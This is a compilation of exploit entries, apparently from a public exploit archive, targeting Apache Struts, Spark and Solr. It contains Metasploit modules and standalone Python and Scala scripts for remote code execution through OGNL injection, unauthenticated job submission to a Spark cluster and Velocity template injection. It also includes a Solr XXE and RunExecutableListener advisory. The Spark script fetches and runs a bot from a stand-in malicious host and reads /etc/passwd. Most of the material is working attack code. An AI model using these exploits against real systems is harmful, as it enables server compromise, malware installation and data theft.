      :directory      => 'webapps/ROOT',
      :prefix         => prefix_jsp,
      :suffix         => '.jsp',
      :file_date_format => date_format
    }
    res = modify_class_loader(properties)
    unless res
      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
    end

    # Check if the log file exists and has been flushed

    unless check_log_file(normalize_uri(target_uri.to_s))
      fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
    end

    register_files_for_cleanup(@jsp_file)

    # Prepare the JSP
    print_status("Generating JSP...")
    jsp = create_jsp

    # Dump the JSP to the log file
    print_status("Dumping JSP into the logfile...")
    random_request = rand_text_alphanumeric(3 + rand(3))

    uri = normalize_uri('/', random_request)

    jsp.each_line do |l|
      unless dump_line(uri, l.chomp)
        fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
      end
    end

    # Check log file... enjoy shell!
    check_log_file(random_request)

    # No matter what happened, try to 'restore' the Class Loader
    properties = {
        :directory      => '',
        :prefix         => '',
        :suffix         => '',
        :file_date_format => ''
    }
    modify_class_loader(properties)
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
        Execution can be performed when using REST Plugin with ! operator when
        Dynamic Method Invocation is enabled.
      },
      'Author'         => [
        'Nixawk' # original metasploit module
       ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-3087' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
        ],
      'Platform'      => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Jun 01 2016',
      'DefaultTarget' => 2))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ], self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def get_target_platform
    target.platform.platforms.first
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path

      case get_target_platform
      when Msf::Module::Platform::Windows
        slash = '\\'
      when
        slash = '/'
      else
      end

      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def send_http_request(payload, params_hash)
    uri = normalize_uri(datastore['TARGETURI'])
    uri = "#{uri}/#{payload}"
    resp = send_request_cgi(
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'POST',
      'vars_post' => params_hash
    )
    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def generate_rce_payload(code)
    payload = ""
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("#xx.toString.json")
    payload << "?"
    payload << Rex::Text.uri_encode("#xx:#request.toString")
    payload
  end

  def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code =  "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
    code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
    code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
    code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
    payload = generate_rce_payload(code)

    params_hash = {
      var_d => Rex::Text.encode_base64(cmd),
      var_e => Rex::Text.encode_base64(filename),
      var_f => content
    }
    send_http_request(payload, params_hash)
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }

    begin
      resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    case target['Platform']
      when 'java'
        payload_exe = "#{temp_path}#{payload_exe}.jar"
        pl_exe = payload.encoded_jar.pack
        command = "java -jar #{payload_exe}"
      when 'linux'
        path = datastore['TMPPATH'] || '/tmp/'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}"
        command = "/bin/sh -c #{payload_exe}"
      when 'win'
        path = temp_path || '.\\'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}.exe"
        command = "cmd.exe /c #{payload_exe}"
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    pl_content = pl_exe.unpack('H*').join()

    print_status("Uploading exploit to #{payload_exe}, and executing it.")
    upload_exec(command, payload_exe, pl_content)

    handler
  end

end
            
#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import random
import base64


upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lowerAlpha = "abcdefghijklmnopqrstuvwxyz"
numerals = "0123456789"
allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)]


def rand_base(length, bad, chars):
    '''generate a random string with chars collection'''
    cset = (set(chars) - set(list(bad)))
    if len(cset) == 0:
        return ""
    chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)]
    chars = map(str, chars)
    return "".join(chars)


def rand_char(bad='', chars=allchars):
    '''generate a random char with chars collection'''
    return rand_base(1, bad, chars)


def rand_text(length, bad='', chars=allchars):
    '''generate a random string (cab be with unprintable chars)'''
    return rand_base(length, bad, chars)


def rand_text_alpha(length, bad=''):
    '''generate a random string with alpha chars'''
    chars = upperAlpha + lowerAlpha
    return rand_base(length, bad, set(chars))


def rand_text_alpha_lower(length, bad=''):
    '''generate a random lower string with alpha chars'''
    return rand_base(length, bad, set(lowerAlpha))


def rand_text_alpha_upper(length, bad=''):
    '''generate a random upper string with alpha chars'''
    return rand_base(length, bad, set(upperAlpha))


def rand_text_alphanumeric():
    '''generate a random string with alpha and numerals chars'''
    chars = upperAlpha + lowerAlpha + numerals
    return rand_base(length, bad, set(chars))


def rand_text_numeric(length, bad=''):
    '''generate a random string with numerals chars'''
    return rand_base(length, bad, set(numerals))


def generate_rce_payload(code):
    '''generate apache struts2 s2-033 payload.
    '''
    payload = ""
    payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload += ","
    payload += requests.utils.quote(code)
    payload += ","
    payload += requests.utils.quote("#xx.toString.json")
    payload += "?"
    payload += requests.utils.quote("#xx:#request.toString")
    return payload


def check(url):
    '''check if url is vulnerable to apache struts2 S2-033.
    '''
    var_a = rand_text_alpha(4)
    var_b = rand_text_alpha(4)
    flag = rand_text_alpha(5)

    addend_one = int(rand_text_numeric(2))
    addend_two = int(rand_text_numeric(2))
    addend_sum = addend_one + addend_two

    code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code += "#{var_a}.print(#parameters.{var_b}[0]),"
    code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two})),"
    code += "#{var_a}.print(#parameters.{var_b}[0]),"
    code += "#{var_a}.close()"

    payload = generate_rce_payload(code.format(
        var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two
    ))

    url = url + "/" + payload
    resp = requests.post(url, data={ var_b: flag }, timeout=8)

    vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum)
    if resp and resp.status_code == 200 and vul_flag in resp.text:
        return True, resp.text

    return False, ''


def exploit(url, cmd):
    '''exploit url with apache struts2 S2-033.
    '''
    var_a = rand_text_alpha(4)
    var_b = rand_text_alpha(4)   # cmd

    code =  "#{var_a}=new sun.misc.BASE64Decoder(),"
    # code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))"  # Error 500

    code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))),"
    code += "#wr.println(#rs),#wr.flush(),#wr.close()"

    payload = generate_rce_payload(code.format(
        var_a=var_a, var_b=var_b
    ))

    url = url + "/" + payload
    requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8)



if __name__ == '__main__':
    import sys

    if len(sys.argv) != 3:
        print("[*] python {} <url> <cmd>".format(sys.argv[0]))
        sys.exit(1)

    url = sys.argv[1]
    cmd = sys.argv[2]

    print(check(url))
    exploit(url, cmd)


## References

# 1. https://github.com/rapid7/metasploit-framework/pull/6945
            
source: https://www.securityfocus.com/bid/60345/info

Apache Struts is prone to a remote OGNL expression injection vulnerability.

Remote attackers can exploit this issue to manipulate server-side objects and execute arbitrary commands within the context of the application.

Apache Struts 2.0.0 through versions 2.3.14.3 are vulnerable. 

http://www.example.com/example/%24%7B%23foo%3D%27Menu%27%2C%23foo%7D

http://www.example.com/example/${#foo='Menu',#foo} 
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
        Execution can be performed via method: prefix when Dynamic Method Invocation
        is enabled.
      },
      'Author'         => [ 'Nixawk' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-3081' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
        ],
      'Platform'       => %w{ linux },
      'Privileged'     => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
      },
      'Targets'        =>
        [
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DisclosureDate' => 'Apr 27 2016',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ], self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def send_http_request(payload)
    uri = normalize_uri(datastore['TARGETURI'])
    res = send_request_cgi(
      'uri'     => "#{uri}#{payload}",
      'method'  => 'POST')
    if res && res.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    res
  end

  def parameterize(params) # params is a hash
    URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
  end

  def generate_rce_payload(code, params_hash)
    payload = "?method:"
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("1?#xx:#request.toString")
    payload << "&"
    payload << parameterize(params_hash)
    payload
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path
      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def upload_file(filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)

    code = "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
    code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
    code << "##{var_b}.close()"

    params_hash = { var_c => filename, var_d => content }
    payload = generate_rce_payload(code, params_hash)

    send_http_request(payload)
  end

  def execute_command(cmd)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
    code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
    code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
    code << "##{var_d}=new char[1024],"
    code << "##{var_c}.read(##{var_d}),"

    code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_e}.println(##{var_d}),"
    code << "##{var_e}.close()"

    cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
    params_hash = { var_f => cmd }
    payload = generate_rce_payload(code, params_hash)

    send_http_request(payload)
  end

  def linux_stager
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    path = temp_path || '/tmp/'
    payload_exe = "#{path}#{payload_exe}"

    b64_filename = Rex::Text.encode_base64(payload_exe)
    b64_content = Rex::Text.encode_base64(generate_payload_exe)

    print_status("Uploading exploit to #{payload_exe}")
    upload_file(b64_filename, b64_content)

    print_status("Attempting to execute the payload...")
    execute_command("chmod 700 #{payload_exe}")
    execute_command("/bin/sh -c #{payload_exe}")
  end

  def exploit
    linux_stager
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    params_hash = { var_b => flag }
    payload = generate_rce_payload(code, params_hash)

    begin
      resp = send_http_request(payload)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

end
            
# Exploit Title: Arbitary Code Execution in Apache Spark Cluster
# Date: 23/03/2015
# Exploit Author: AkhlD (AkhilDas) <akhld@live.com> CodeBreach.in
# Vendor Homepage: https://spark.apache.org/
# Software Link: https://spark.apache.org/downloads.html
# Version: All (0.0.x, 1.1.x, 1.2.x, 1.3.x)
# Tested on: 1.2.1

# Credits: Mayur Rustagi (@mayur_rustagi), Patrick Wendel (@pwendell) for
reviewing.
# Reference(s) :
http://codebreach.in/blog/2015/03/arbitary-code-execution-in-unsecured-apache-spark-cluster/
# Exploit URL  : https://github.com/akhld/spark-exploit/

# Spark clusters which are not secured with proper firewall can be taken
over easily (Since it does not have
# any authentication mechanism), this exploit simply runs arbitarty codes
over the cluster.
# All you have to do is, find a vulnerable Spark cluster (usually runs on
port 7077) add that host to your
# hosts list so that your system will recognize it (here its
spark-b-akhil-master pointing
# to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary
codes that you want to execute.

# Language: Scala


import org.apache.spark.{SparkContext, SparkConf}

/**
 * Created by akhld on 23/3/15.
 */

object Exploit {
  def main(arg: Array[String]) {
    val sconf = new SparkConf()
      .setMaster("spark://spark-b-akhil-master:7077") // Set this to the
vulnerable host URI
      .setAppName("Exploit")
      .set("spark.cores.max", "2")
      .set("spark.executor.memory", "2g")
      .set("spark.driver.host","hacked.work") // Set this to your host from
where you launch the attack

    val sc = new SparkContext(sconf)
      sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")

    val exploit = sc.parallelize(1 to 1).map(x=>{
       //Replace these with whatever you want to get executed
       val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
       val y = "perl bot.pl".!
       scala.io.Source.fromFile("/etc/passwd").mkString
    })
    exploit.collect().foreach(println)
  }
}




Thanks
Best Regards
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Spark Unauthenticated Command Execution',
      'Description'    => %q{
          This module exploits an unauthenticated command execution vulnerability in Apache Spark with standalone cluster mode through REST API.
          It uses the function CreateSubmissionRequest to submit a malious java class and trigger it.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'aRe00t',                            # Proof of concept
          'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          ['URL', 'https://www.jianshu.com/p/a080cb323832'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/spark/unacc']
        ],
      'Platform'       => 'java',
      'Arch'           => [ARCH_JAVA],
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 12 2017',
      'DefaultTarget'  => 0,
      'Notes'          =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Stability'   => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION]
        }
    ))

    register_options [
      Opt::RPORT(6066),
      OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
    ]

  end

  def check
    return CheckCode::Detected if get_version
    CheckCode::Unknown
  end

  def primer
    path = service.resources.keys[0]
    binding_ip = srvhost_addr

    proto = datastore['SSL'] ? 'https' : 'http'
    payload_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{path}"

    send_payload(payload_uri)
  end

  def exploit
    fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version

    vprint_status("Generating payload ...")
    @pl = generate_payload.encoded_jar(random:true)
    print_error("Failed to generate the payload.") unless @pl

    print_status("Starting up our web service ...")
    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
  end

  def get_version
    @version = nil

    res = send_request_cgi(
      'uri'           => normalize_uri(target_uri.path),
      'method'        => 'GET'
    )

    unless res
      vprint_bad("#{peer} - No response. ")
      return false
    end

    if res.code == 401
      print_bad("#{peer} - Authentication required.")
      return false
    end

    unless res.code == 400
      return false
    end

    res_json = res.get_json_document
    @version = res_json['serverSparkVersion']

    if @version.nil?
      vprint_bad("#{peer} - Cannot parse the response, seems like it's not Spark REST API.")
      return false
    end

    true
  end

  def send_payload(payload_uri)
    rand_appname   = Rex::Text.rand_text_alpha_lower(8..16)

    data =
    {
      "action"                    => "CreateSubmissionRequest",
      "clientSparkVersion"        => @version.to_s,
      "appArgs"                   => [],
      "appResource"               => payload_uri.to_s,
      "environmentVariables"      => {"SPARK_ENV_LOADED" => "1"},
      "mainClass"                 => "#{@pl.substitutions["metasploit"]}.Payload",
      "sparkProperties"           =>
      {
        "spark.jars"              => payload_uri.to_s,
        "spark.driver.supervise"  => "false",
        "spark.app.name"          => rand_appname.to_s,
        "spark.eventLog.enabled"  => "true",
        "spark.submit.deployMode" => "cluster",
        "spark.master"            => "spark://#{rhost}:#{rport}"
      }
    }

    res = send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/v1/submissions/create"),
      'method'        => 'POST',
      'ctype'         => 'application/json;charset=UTF-8',
      'data'          => data.to_json
    )

  end

  # Handle incoming requests
  def on_request_uri(cli, request)
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    send_response(cli, @pl)
  end
end
            
# Title: Apache Solr 8.2.0 - Remote Code Execution
# Date: 2019-11-01
# Author: @l3x_wong
# Vendor: https://lucene.apache.org/solr/
# Software Link: https://lucene.apache.org/solr/downloads.html
# CVE: N/A
# github: https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template

# usage: python3 script.py ip [port [command]]
#                default port=8983
#                default command=whoami
# note:
# Step1: Init Apache Solr Configuration
# Step2: Remote Exec in Every Solr Node

import sys
import json
import time
import requests


class initSolr(object):

    timestamp_s = str(time.time()).split('.')
    timestamp = timestamp_s[0] + timestamp_s[1][0:-3]

    def __init__(self, ip, port):
        self.ip = ip
        self.port = port

    def get_nodes(self):
        payload = {
            '_': self.timestamp,
            'indexInfo': 'false',
            'wt': 'json'
        }
        url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'

        try:
            nodes_info = requests.get(url, params=payload, timeout=5)
            node = list(nodes_info.json()['status'].keys())
            state = 1
        except:
            node = ''
            state = 0

        if node:
            return {
                'node': node,
                'state': state,
                'msg': 'Get Nodes Successfully'
            }
        else:
            return {
                'node': None,
                'state': state,
                'msg': 'Get Nodes Failed'
            }

    def get_system(self):
        payload = {
            '_': self.timestamp,
            'wt': 'json'
        }
        url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
        try:
            system_info = requests.get(url=url, params=payload, timeout=5)
            os_name = system_info.json()['system']['name']
            os_uname = system_info.json()['system']['uname']
            os_version = system_info.json()['system']['version']
            state = 1

        except:
            os_name = ''
            os_uname = ''
            os_version = ''
            state = 0

        return {
            'system': {
                'name': os_name,
                'uname': os_uname,
                'version': os_version,
                'state': state
            }
        }


class apacheSolrRCE(object):

    def __init__(self, ip, port, node, command):
        self.ip = ip
        self.port = port
        self.node = node
        self.command = command
        self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node

    def init_node_config(self):
        url = self.url + '/config'
        payload = {
            'update-queryresponsewriter': {
                'startup': 'lazy',
                'name': 'velocity',
                'class': 'solr.VelocityResponseWriter',
                'template.base.dir': '',
                'solr.resource.loader.enabled': 'true',
                'params.resource.loader.enabled': 'true'
            }
        }
        try:
            res = requests.post(url=url, data=json.dumps(payload), timeout=5)
            if res.status_code == 200:
                return {
                    'init': 'Init node config successfully',
                    'state': 1
                }
            else:
                return {
                    'init': 'Init node config failed',
                    'state': 0
                }
        except:
            return {
                'init': 'Init node config failed',
                'state': 0
            }

    def rce(self):
        url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
                          "%23set($x=%27%27)+"
                          "%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
                          "%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
                          "%23set($str=$x.class.forName(%27java.lang.String%27))+"
                          "%23set($ex=$rt.getRuntime().exec(%27" + self.command +
                          "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
                          "%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
        try:
            res = requests.get(url=url, timeout=5)
            if res.status_code == 200:
                try:
                    if res.json()['responseHeader']['status'] == '0':
                        return 'RCE failed @Apache Solr node %s\n' % self.node
                    else:
                        return 'RCE failed @Apache Solr node %s\n' % self.node
                except:
                    return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))

            else:
                return 'RCE failed @Apache Solr node %s\n' % self.node
        except:
            return 'RCE failed @Apache Solr node %s\n' % self.node


def check(ip, port='8983', command='whoami'):
    system = initSolr(ip=ip, port=port)
    if system.get_nodes()['state'] == 0:
        print('No Nodes Found. Remote Exec Failed!')
    else:
        nodes = system.get_nodes()['node']
        systeminfo = system.get_system()
        os_name = systeminfo['system']['name']
        os_version = systeminfo['system']['version']
        print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
              'you should change your command with right os platform\n' % (os_name, os_version))

        for node in nodes:
            res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
            init_node_config = res.init_node_config()
            if init_node_config['state'] == 1:
                print('Init node %s Successfully, exec command=%s' % (node, command))
                result = res.rce()
                print(result)
            else:
                print('Init node %s Failed, Remote Exec Failed\n' % node)


if __name__ == '__main__':
    usage = ('python3 script.py ip [port [command]]\n '
             '\t\tdefault port=8983\n '
             '\t\tdefault command=whoami')

    if len(sys.argv) == 4:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        check(ip=ip, port=port, command=command)
    elif len(sys.argv) == 3:
        ip = sys.argv[1]
        port = sys.argv[2]
        check(ip=ip, port=port)
    elif len(sys.argv) == 2:
        ip = sys.argv[1]
        check(ip=ip)
    else:
        print('Usage: %s:\n' % usage)
            
First Vulnerability: XML External Entity Expansion (deftype=xmlparser) 

Lucene includes a query parser that is able to create the full-spectrum of Lucene queries, using an XML data structure. Starting from version 5.1 Solr supports "xml" query parser in the search query.

The problem is that lucene xml parser does not explicitly prohibit doctype declaration and expansion of external entities. It is possible to include special entities in the xml document, that point to external files (via file://) or external urls (via http://):

Example usage: http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/xxx"'><a></a>'}

When Solr is parsing this request, it makes a HTTP request to http://xxx.s.artsploit.com/xxx and treats its content as DOCTYPE definition. 

Considering that we can define parser type in the search query, which is very often comes from untrusted user input, e.g. search fields on websites. It allows to an external attacker to make arbitrary HTTP requests to the local SOLR instance and to bypass all firewall restrictions.

For example, this vulnerability could be user to send malicious data to the '/upload' handler:

http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}

This vulnerability can also be exploited as Blind XXE using ftp wrapper in order to read arbitrary local files from the solrserver.

Vulnerable code location:
/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java

static Document parseXML(InputStream pXmlFile) throws ParserException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = null;
    try {
      db = dbf.newDocumentBuilder();
    }
    catch (Exception se) {
      throw new ParserException("XML Parser configuration error", se);
    }
    org.w3c.dom.Document doc = null;
    try {
      doc = db.parse(pXmlFile);
    }
  

Steps to reproduce:

1. Set up a listener on any port by using netcat command "nc -lv 4444"
2. Open http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"><a></a>'}
3. You will see a request from the Solr server on your netcat listener. It proves that the DOCTYPE declaration is resolved.


Remediation suggestions:

Consider adding the following lines to /solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java:

static Document parseXML(InputStream pXmlFile) throws ParserException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = null;
    try {
      //protect from XXE attacks
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
      dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
      
      db = dbf.newDocumentBuilder();
    }
    catch (Exception se) {
      throw new ParserException("XML Parser configuration error", se);
    }
    org.w3c.dom.Document doc = null;
    try {
      doc = db.parse(pXmlFile);
    }
  
Links:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

CVSS v2 base score: 9.0
(AV:N/AC:L/Au:N/C:C/I:P/A:P)

Second Vulnerability: Remote Code Execution (add-listener: RunExecutableListener)

Solr "RunExecutableListener" class can be used to execute arbitrary commands on specific events, for example after each update query. The problem is that such listener can be enabled with any parameters just by using Config API with add-listener command.

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"ANYCOMMAND",
    "dir":"/usr/bin/",
    "args":["ANYARGS"]
  }
}

